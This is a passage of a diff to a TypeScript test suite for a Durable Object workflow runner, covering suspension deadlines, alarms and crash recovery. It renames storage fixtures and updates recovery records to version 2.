+    // env.storage, not here.
+    const { state } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
 
     // #given — instance A re-suspends the run once (falsy resume)
@@ -1628,7 +2641,7 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('persists cancellation before cleanup and authorizes only the original principal on replay', async () => {
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const abandonApprovals = vi.fn(async () => undefined);
     const env = makeProductionEnv(storage);
     env.lifecycle = { abandonApprovals };
@@ -1695,7 +2708,7 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('returns a structured 409 and retains ownership for a persisted disputed settlement', async () => {
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const env = makeProductionEnv(storage);
     const runner = new TestRunner(undefined, env);
     await runner.fetch(
@@ -1749,7 +2762,7 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('re-drives deadline cleanup after a crash between ownership release and cleanup completion', async () => {
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const runtime = gatedRuntime(storage);
     const complete = runtime.completeTerminalCleanup.bind(runtime);
     let wedge = true;
@@ -1838,7 +2851,7 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('replays a post-intent core-canceled deadline from the scanner through a fresh owner object', async () => {
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const env = makeProductionEnv(storage);
     const original = new TestRunner(undefined, env);
     const started = await original.fetch(
@@ -2060,13 +3073,13 @@ type TimedStepExecute = ExecuteFunction<
 // the step rather than only that a resume happened. `onSettle` counts the
 // settling gates' post-suspension executions for countedTimedRuntime.
 function timedRuntime(
-  storage: InMemoryStore,
+  storage: MastraCompositeStore,
   onSettle?: () => void,
-  executionFence: ExecutionFenceStore = newTestExecutionFence(),
+  executionFence: ExecutionFenceStore = newTestExecutionFence(storage),
 ): RunnerRuntime {
   const { createWorkflow, createStep, runtime } = init(
     { storage },
-    { executionFence, startIdempotency: newTestStartIdempotency() },
+    { executionFence, startIdempotency: newTestStartIdempotency(storage) },
   );
   const timedStep = (id: string, execute: TimedStepExecute) =>
     createStep({
@@ -2170,7 +3183,7 @@ function timedRuntime(
 // path. Mastra keys its snapshot namespace by that joined path, so the two
 // suspensions are indistinguishable there, and an entry armed for one of them
 // could resume the other.
-function collidingRuntime(storage: InMemoryStore): {
+function collidingRuntime(storage: MastraCompositeStore): {
   runtime: RunnerRuntime;
   settled: () => string[];
 } {
@@ -2178,8 +3191,8 @@ function collidingRuntime(storage: InMemoryStore): {
   const { createWorkflow, createStep, runtime } = init(
     { storage },
     {
-      executionFence: newTestExecutionFence(),
-      startIdempotency: newTestStartIdempotency(),
+      executionFence: newTestExecutionFence(storage),
+      startIdempotency: newTestStartIdempotency(storage),
     },
   );
   const suspending = (id: string, label: string) =>
@@ -2220,7 +3233,7 @@ function collidingRuntime(storage: InMemoryStore): {
 // suspended path with one fence, so bounded work per wake has to be judged on
 // the iterations rather than on the path.
 function foreachRuntime(
-  storage: InMemoryStore,
+  storage: MastraCompositeStore,
   workflowId: string,
   options?: { concurrency: number },
 ): { runtime: RunnerRuntime; timedOut: () => number[] } {
@@ -2228,8 +3241,8 @@ function foreachRuntime(
   const { createWorkflow, createStep, runtime } = init(
     { storage },
     {
-      executionFence: newTestExecutionFence(),
-      startIdempotency: newTestStartIdempotency(),
+      executionFence: newTestExecutionFence(storage),
+      startIdempotency: newTestStartIdempotency(storage),
     },
   );
   const gate = createStep({
@@ -2274,7 +3287,7 @@ function timedEnv(): TestEnv {
 // The same `timed` gate, counting how often its post-suspension body ran, so a
 // race between a wake and a real signal can be judged on the one thing that
 // matters: the gated action must not execute twice.
-function countedTimedRuntime(storage: InMemoryStore): {
+function countedTimedRuntime(storage: MastraCompositeStore): {
   runtime: RunnerRuntime;
   settled: () => number;
 } {
@@ -2417,20 +3430,39 @@ function deadlineWriteFailures(
  * rather than shared: runtime.test.ts keeps its own copy beside its own
  * fixtures, which is cheaper than a shared module for eight lines.
  */
-async function blindWorkflowRow(storage: InMemoryStore): Promise<() => void> {
+async function blindWorkflowRow(
+  storage: MastraCompositeStore,
+): Promise<() => void> {
   const store = (await storage.getStore('workflows')) as unknown as {
     getWorkflowRunById: (args: unknown) => Promise<unknown>;
   };
+  const domain = store as unknown as FencedWorkflowsStorageD1;
+  const capability = domain[FENCED_WORKFLOW_STORAGE];
+  if (capability)
+    Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+      value: {
+        ...capability,
+        readSnapshot: async () => {
+          throw new Error('selected workflow row unavailable');
+        },
+      },
+      configurable: true,
+    });
   const original = store.getWorkflowRunById;
   store.getWorkflowRunById = async () => null;
   return () => {
     store.getWorkflowRunById = original;
+    if (capability)
+      Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+        value: capability,
+        configurable: true,
+      });
   };
 }
 
 /** Count the real row deletions a wake performs, and restore the store. */
 async function countRowDeletes(
-  storage: InMemoryStore,
+  storage: MastraCompositeStore,
 ): Promise<{ calls: () => number; restore: () => void }> {
   const store = (await storage.getStore('workflows')) as unknown as {
     deleteWorkflowRunById: (args: unknown) => Promise<unknown>;
@@ -2451,7 +3483,7 @@ async function countRowDeletes(
 
 describe('DurableObjectRunner suspension deadlines', () => {
   it('arms the record and the alarm at the suspension fence plus the deadline', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, timedEnv());
 
     const started = await startTimed(runner, 'run-armed');
@@ -2475,7 +3507,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('arms nothing for a suspension without the reserved key', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, makeProductionEnv());
 
     await startGated(runner);
@@ -2486,7 +3518,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('keeps the alarm armed on a wake with no recovery journal but a pending deadline', async () => {
     const events: string[] = [];
-    const { state, values, alarms } = recoveryStorage(events);
+    const { state, values, alarms } = durableKeyValueStorageFixture(events);
     const runner = new TestRunner(state, timedEnv());
     const started = await startTimed(runner, 'run-pending');
     const dueAt = (started.suspendedAt?.gate as number) + TIMED_DEADLINE_MS;
@@ -2504,7 +3536,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('arms the recovery watchdog when it falls due before a far-future deadline', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const farFuture = Date.now() + 10 * 24 * 60 * 60 * 1_000;
     seedDeadlines(values, 'run-far-future', [
       { ...armedEntry('gate', Date.now()), deadlineAt: farFuture },
@@ -2521,13 +3553,15 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('re-arms to the pending deadline when run-owner recovery clears', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const dueAt = Date.now() + TIMED_DEADLINE_MS;
     seedDeadlines(values, 'run-cleared', [
       { ...armedEntry('gate', 1), deadlineAt: dueAt },
     ]);
     values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
+      version: 2,
+      phase: 'preparing',
+      owner: { kind: 'human', id: 'owner-1' },
       workflowId: 'timed',
       runId: 'run-cleared',
       token: 'attempt-token',
@@ -2555,7 +3589,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('resumes the suspended step with the timeout envelope under a system principal', async () => {
     const sent: string[] = [];
-    const { storage, values } = recoveryStorage();
+    const { storage, values } = durableKeyValueStorageFixture();
     const state = {
       id: { name: 'timed:run-timeout' },
       storage,
@@ -2585,7 +3619,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('drops a stale entry without resuming when the suspension fence moved', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const resume = vi.fn();
     const movedAt = Date.now() - TIMED_DEADLINE_MS + 60_000;
     const runtime = {
@@ -2630,7 +3664,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('records a backoff attempt and never rethrows when the timeout resume fails', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const runtime = {
       ...statusStub(async () => suspendedFence('run-retry', 1)),
       resume: vi.fn(async () => {
@@ -2656,7 +3690,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('abandons a spent entry as a tombstone for exactly its own suspension', async () => {
     const events: string[] = [];
-    const { state, values, alarms } = recoveryStorage(events);
+    const { state, values, alarms } = durableKeyValueStorageFixture(events);
     let resumeFails = true;
     const resume = vi.fn(async () => {
       if (resumeFails) throw new Error('injected resume failure');
@@ -2747,7 +3781,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // written for `run-other`: a stale record left by a namespace reused under
     // another id, or one hand-written into storage.
     const events: string[] = [];
-    const { storage, values } = recoveryStorage(events);
+    const { storage, values } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-mine' },
       storage,
@@ -2838,7 +3872,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // stamped for `run-other` whose SPENT entry matches every key the merge
     // carries a ledger on: the same step, the same fence, the same deadline.
     const events: string[] = [];
-    const { storage, values, alarms } = recoveryStorage(events);
+    const { storage, values, alarms } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-mine' },
       storage,
@@ -2881,7 +3915,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // stamped for `run-other` whose entry is far from due, and this run has
     // already finished: the reconcile has nothing to write in its place.
     const events: string[] = [];
-    const { storage, values } = recoveryStorage(events);
+    const { storage, values } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-mine' },
       storage,
@@ -2914,7 +3948,11 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('keeps the record and its wake when a nothing-due wake reads Mastra in-memory fallback state', async () => {
     const events: string[] = [];
-    const { storage: doStorage, values, alarms } = recoveryStorage(events);
+    const {
+      storage: doStorage,
+      values,
+      alarms,
+    } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-blinded-idle' },
       storage: doStorage,
@@ -2969,7 +4007,11 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('charges nothing and runs nothing when a due wake reads Mastra in-memory fallback state', async () => {
     const events: string[] = [];
-    const { storage: doStorage, values, alarms } = recoveryStorage(events);
+    const {
+      storage: doStorage,
+      values,
+      alarms,
+    } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-blinded-due' },
       storage: doStorage,
@@ -3029,7 +4071,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // not already a RunStateUnreadableError: a storage fault, as a driver
     // surfaces one.
     const events: string[] = [];
-    const { storage, values } = recoveryStorage(events);
+    const { storage, values } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-read-threw' },
       storage,
@@ -3080,13 +4122,17 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('deletes no run row and settles nothing when recovery reads in-memory fallback state', async () => {
     const events: string[] = [];
-    const { storage: doStorage, values, alarms } = recoveryStorage(events);
+    const {
+      storage: doStorage,
+      values,
+      alarms,
+    } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-blinded-recovery' },
       storage: doStorage,
     } as unknown as DurableObjectState;
     const settle = vi.fn(async () => undefined);
-    const env = makeProductionEnv(new InMemoryStore(), {
+    const env = makeProductionEnv(testStorage(), {
       reserve: async () => true,
       settle,
     });
@@ -3106,12 +4152,15 @@ describe('DurableObjectRunner suspension deadlines', () => {
       requestedByKind: OWNER_PRINCIPAL.kind,
       attemptToken: token,
     });
-    values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
-      workflowId: 'timed',
-      runId: 'run-blinded-recovery',
-      token,
-    });
+    values.set(
+      'flowsafe:run-owner-recovery:v1',
+      await durableOwnerRecovery(
+        env.runtime as RunnerRuntime,
+        'timed',
+        'run-blinded-recovery',
+        token,
+      ),
+    );
     const runner = new TestRunner(state, env);
     const deletes = await countRowDeletes(env.storage);
     const restore = await blindWorkflowRow(env.storage);
@@ -3162,7 +4211,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('answers dispatch-status with a retryable 503 while the run state cannot be read', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     env.runtime = {
       ...statusStub(async () => null),
@@ -3173,7 +4222,15 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // The interrupted start this route settles, with the read that would
     // settle it refusing to answer from state it could not reach.
     values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
+      version: 2,
+      phase: 'prepared',
+      owner: { kind: 'human', id: 'owner-1' },
+      execution: {
+        tablePrefix: '',
+        workflowId: 'timed',
+        runId: 'run-unreadable-route',
+        startToken: 'test-generation',
+      },
       workflowId: 'timed',
       runId: 'run-unreadable-route',
       token: 'attempt-token',
@@ -3201,7 +4258,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // journal, with the read that would settle it refusing to answer from
     // state it could not reach. The recovery runs BEFORE the existing-run
     // check, so nothing downstream of it sees a fabricated read.
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const start = vi.fn();
     env.runtime = {
@@ -3212,7 +4269,15 @@ describe('DurableObjectRunner suspension deadlines', () => {
       }),
     } as unknown as RunnerRuntime;
     values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
+      version: 2,
+      phase: 'prepared',
+      owner: { kind: 'human', id: 'owner-1' },
+      execution: {
+        tablePrefix: '',
+        workflowId: 'timed',
+        runId: 'run-start-unreadable',
+        startToken: 'test-generation',
+      },
       workflowId: 'timed',
       runId: 'run-start-unreadable',
       token: 'attempt-token',
@@ -3241,7 +4306,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('stamps the unreadable clock once and clears it on the first read that succeeds', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     let readable = false;
     const movedAt = Date.now();
@@ -3292,7 +4357,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('abandons an entry whose run state has been unreadable for a day', async () => {
     const events: string[] = [];
-    const { state, values, alarms } = recoveryStorage(events);
+    const { state, values, alarms } = durableKeyValueStorageFixture(events);
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const env = makeProductionEnv();
     const resume = vi.fn();
@@ -3359,7 +4424,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // backwards between two wakes, or a hand-written record. Left as read, its
     // elapsed time can never pass the limit and the entry keeps an uncharged
     // heartbeat forever.
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const env = makeProductionEnv();
     env.runtime = {
@@ -3423,7 +4488,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('runs one unreadable-state clock over the whole due batch and leaves entries that are not due alone', async () => {
     const events: string[] = [];
-    const { state, values, alarms } = recoveryStorage(events);
+    const { state, values, alarms } = durableKeyValueStorageFixture(events);
     const now = Date.now();
     const alphaAt = now - TIMED_DEADLINE_MS - 10_000;
     const bravoAt = now - TIMED_DEADLINE_MS - 5_000;
@@ -3505,7 +4570,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('clears the unreadable stamp from a lifecycle boundary while the wake read is still failing', async () => {
-    const { storage, values } = recoveryStorage();
+    const { storage, values } = durableKeyValueStorageFixture();
     const state = {
       id: { name: 'timed:run-boundary' },
       storage,
@@ -3567,7 +4632,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps its cadence when the unreadable stamp itself cannot be written', async () => {
-    const { storage, values, alarms } = recoveryStorage();
+    const { storage, values, alarms } = durableKeyValueStorageFixture();
     const { state } = deadlineWriteFailures(storage, {
       name: 'timed:run-stamp-write-fail',
     });
@@ -3619,7 +4684,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('reaches the tombstone in five charges when readable and unreadable wakes alternate', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const armed = armedEntry('gate', armedAt);
     let readable = false;
@@ -3670,7 +4735,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('spends no abandonment budget on a wake that cannot build its runtime', async () => {
     const events: string[] = [];
-    const { state, values, alarms } = recoveryStorage(events);
+    const { state, values, alarms } = durableKeyValueStorageFixture(events);
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const armed = armedEntry('gate', armedAt);
     // A misconfigured binding: build(env) throws on EVERY wake and nothing
@@ -3714,7 +4779,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps an unwritable record and its cadence on a nothing-due wake', async () => {
-    const { storage, values, alarms } = recoveryStorage();
+    const { storage, values, alarms } = durableKeyValueStorageFixture();
     const { state } = deadlineWriteFailures(storage, {
       name: 'timed:run-idle-write-fail',
     });
@@ -3757,7 +4822,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('discards a malformed stored record and converges instead of throwing every wake', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     values.set(SUSPENSION_DEADLINE_STORAGE_KEY, {
       version: 1,
       workflowId: 'timed/forged',
@@ -3777,7 +4842,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('re-arms at the new fence when the timeout resume suspends again', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, timedEnv());
     const started = await startTimed(
       runner,
@@ -3803,7 +4868,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('clears the record when the run is terminated', async () => {
     const events: string[] = [];
-    const { state, values } = recoveryStorage(events);
+    const { state, values } = durableKeyValueStorageFixture(events);
     const runner = new TestRunner(state, timedEnv());
     await startTimed(runner, 'run-terminated');
     expect(storedDeadlines(values)?.entries).toHaveLength(1);
@@ -3818,7 +4883,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('clears the record on a terminal deadline route that transitions nothing', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     // A deadline request whose compare-and-swap no longer matches: the route
     // returns the current terminal summary without finalizing, and it is the
@@ -3854,7 +4919,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('charges nothing and keeps the watchdog when a due wake cannot read authoritative state', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const resume = vi.fn();
     const env = makeProductionEnv();
     // A run whose workflow a deploy unregistered, or a D1 fault: the read
@@ -3914,7 +4979,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('does not charge a bookkeeping failure to a resume that succeeded', async () => {
-    const { storage, values, alarms } = recoveryStorage();
+    const { storage, values, alarms } = durableKeyValueStorageFixture();
     const { state, fail } = deadlineWriteFailures(storage, {
       once: true,
       armed: false,
@@ -3990,7 +5055,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // built by JSON.stringify outside safeSend's per-socket tolerance, so
     // building it throws after the resume has already run the step.
     const events: string[] = [];
-    const { storage, values } = recoveryStorage(events);
+    const { storage, values } = durableKeyValueStorageFixture(events);
     const sent: string[] = [];
     const state = {
       id: { name: 'timed:run-broadcast-throws' },
@@ -4055,7 +5120,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('retries rather than dropping the entry when the run is momentarily unreadable', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const resume = vi.fn();
     const env = makeProductionEnv();
     // A read replica that has not caught up with a snapshot this object wrote
@@ -4082,7 +5147,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('drops the entry when only the resumeCount fence moved', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const resume = vi.fn();
     const env = makeProductionEnv();
     // Same step, same suspension time, one resume further on: a real signal
@@ -4113,7 +5178,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('resumes one due entry per wake and keeps the other armed', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const gateSuspendedAt = Date.now() - TIMED_DEADLINE_MS - 2;
     const otherSuspendedAt = gateSuspendedAt + 1;
     const bothSuspended: RunSummary = {
@@ -4167,7 +5232,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('serves the deadline duty in a wake whose recovery journal is poisoned', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, timedEnv());
     await startTimed(runner, 'run-both-duties');
     elapseDeadlines(values);
@@ -4196,7 +5261,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('runs the expired step body once when a real resume races the wake', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const counted = countedTimedRuntime(env.storage);
     env.runtime = counted.runtime;
@@ -4223,7 +5288,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('arms, fences and resumes a top-level step id containing a dot', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, timedEnv());
 
     const started = await startTimed(runner, 'run-dotted', 'timed-dotted');
@@ -4231,7 +5296,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
     // #then — the live summary reports the id whole, and the entry is keyed by
     // the same joined path the payload and the fence are keyed by.
-    expect(started.suspended).toEqual([[DOTTED_STEP]]);
+    expect(started.suspended).toEqual([DOTTED_STEP.split('.')]);
     expect(storedDeadlines(values)?.entries).toEqual([
       armedEntry(DOTTED_STEP, suspendedAt),
     ]);
@@ -4274,7 +5339,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('arms the deadline of a run whose start was interrupted', async () => {
     const events: string[] = [];
-    const { state, values } = recoveryStorage(events);
+    const { state, values } = durableKeyValueStorageFixture(events);
     const env = timedEnv();
     const token = 'attempt-token';
     // The start leg as an interrupted one leaves it: the claim is reserved and
@@ -4293,12 +5358,15 @@ describe('DurableObjectRunner suspension deadlines', () => {
       attemptToken: token,
     });
     expect(started.status).toBe('suspended');
-    values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
-      workflowId: 'timed',
-      runId: 'run-interrupted',
-      token,
-    });
+    values.set(
+      'flowsafe:run-owner-recovery:v1',
+      await durableOwnerRecovery(
+        env.runtime as RunnerRuntime,
+        'timed',
+        'run-interrupted',
+        token,
+      ),
+    );
     const runner = new TestRunner(state, env);
 
     await runner.alarm();
@@ -4314,7 +5382,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps the recovery cadence when a wake cannot verify its deployment', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const env = timedEnv();
     // A namespace bound to another deployment's database: verification throws on
     // every wake, so the deadline duty never runs and its ledger can never
@@ -4341,7 +5409,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('charges the entry the wake was working on when its own re-arm fails', async () => {
-    const { storage, values } = recoveryStorage();
+    const { storage, values } = durableKeyValueStorageFixture();
     let setAlarmCalls = 0;
     const state = {
       storage: {
@@ -4407,7 +5475,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('touches no deadline storage for a run that arms nothing', async () => {
     const events: string[] = [];
-    const { state } = recoveryStorage(events);
+    const { state } = durableKeyValueStorageFixture(events);
     const runner = new TestRunner(state, makeProductionEnv());
     const started = await startGated(runner);
 
@@ -4432,7 +5500,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('reports an unarmable deadline once, not at every boundary', async () => {
-    const { state } = recoveryStorage();
+    const { state } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, timedEnv());
     const logged: string[] = [];
     const log = vi
@@ -4503,7 +5571,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('leaves a retry wake when the first deadline write of a start fails', async () => {
     const events: string[] = [];
-    const { storage, values, alarms } = recoveryStorage(events);
+    const { storage, values, alarms } = durableKeyValueStorageFixture(events);
     const { state } = deadlineWriteFailures(storage, {
       name: 'timed:run-first-arm',
       once: true,
@@ -4547,7 +5615,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('leaves a retry wake when a resume boundary is the first arm and it fails', async () => {
     const events: string[] = [];
-    const { storage, values, alarms } = recoveryStorage(events);
+    const { storage, values, alarms } = durableKeyValueStorageFixture(events);
     const { state, stop } = deadlineWriteFailures(storage, {
       name: 'timed-relay:run-relay',
     });
@@ -4597,7 +5665,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('keeps a wake when an interrupted start cannot record its deadline', async () => {
     const events: string[] = [];
-    const { storage, values, alarms } = recoveryStorage(events);
+    const { storage, values, alarms } = durableKeyValueStorageFixture(events);
     const { state, stop } = deadlineWriteFailures(storage, {
       name: 'timed:run-recovery-arm',
     });
@@ -4615,12 +5683,15 @@ describe('DurableObjectRunner suspension deadlines', () => {
       requestedByKind: OWNER_PRINCIPAL.kind,
       attemptToken: token,
     });
-    values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
-      workflowId: 'timed',
-      runId: 'run-recovery-arm',
-      token,
-    });
+    values.set(
+      'flowsafe:run-owner-recovery:v1',
+      await durableOwnerRecovery(
+        env.runtime as RunnerRuntime,
+        'timed',
+        'run-recovery-arm',
+        token,
+      ),
+    );
     const runner = new TestRunner(state, env);
     const log = vi.spyOn(console, 'error').mockImplementation(() => {});
     const before = Date.now();
@@ -4650,7 +5721,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('writes nothing on a no-record wake for a run that is not suspended', async () => {
     const events: string[] = [];
-    const { storage, values } = recoveryStorage(events);
+    const { storage, values } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-finished' },
       storage,
@@ -4693,7 +5764,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps the recovery cadence when the retry ledger itself cannot be written', async () => {
-    const { storage, values, alarms } = recoveryStorage();
+    const { storage, values, alarms } = durableKeyValueStorageFixture();
     const { state } = deadlineWriteFailures(storage);
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const armed = armedEntry('gate', armedAt);
@@ -4732,7 +5803,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps the recovery cadence when an unwritable ledger shares a wake with a poisoned journal', async () => {
-    const { storage, values, alarms } = recoveryStorage();
+    const { storage, values, alarms } = durableKeyValueStorageFixture();
     const { state } = deadlineWriteFailures(storage);
     const armedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const env = makeProductionEnv();
@@ -4765,7 +5836,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('arms nothing and runs no step body when two suspensions share one key', async () => {
-    const { storage, values } = recoveryStorage();
+    const { storage, values } = durableKeyValueStorageFixture();
     const state = {
       id: { name: 'timed-collision:run-collision' },
       storage,
@@ -4806,7 +5877,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('resumes one foreach iteration per wake and re-arms from the new fence', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const each = foreachRuntime(env.storage, 'timed-foreach');
     env.runtime = each.runtime;
@@ -4849,7 +5920,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('resumes every suspended iteration of a concurrent foreach in one wake', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const each = foreachRuntime(env.storage, 'timed-foreach-concurrent', {
       concurrency: 3,
@@ -4893,7 +5964,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('clears a concurrent foreach with more items than concurrency batch by batch', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const each = foreachRuntime(env.storage, 'timed-foreach-batched', {
       concurrency: 2,
@@ -4964,7 +6035,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
     // written from an unvalidated name would discard itself on read-back.
     // The other four shapes were already skipped — regression pins.
     const events: string[] = [];
-    const { storage } = recoveryStorage(events);
+    const { storage } = durableKeyValueStorageFixture(events);
     const state = { id: { name }, storage } as unknown as DurableObjectState;
     const env = makeProductionEnv();
     const reads = statusStub(async () => null);
@@ -4982,7 +6053,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('converges to no alarm on a no-record wake without an object name', async () => {
     const events: string[] = [];
-    const { state, values } = recoveryStorage(events);
+    const { state, values } = durableKeyValueStorageFixture(events);
     const env = makeProductionEnv();
     const reads = statusStub(async () => null);
     env.runtime = { ...reads } as unknown as RunnerRuntime;
@@ -5001,7 +6072,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps the record and its wake when a nothing-due wake reads a degraded summary', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
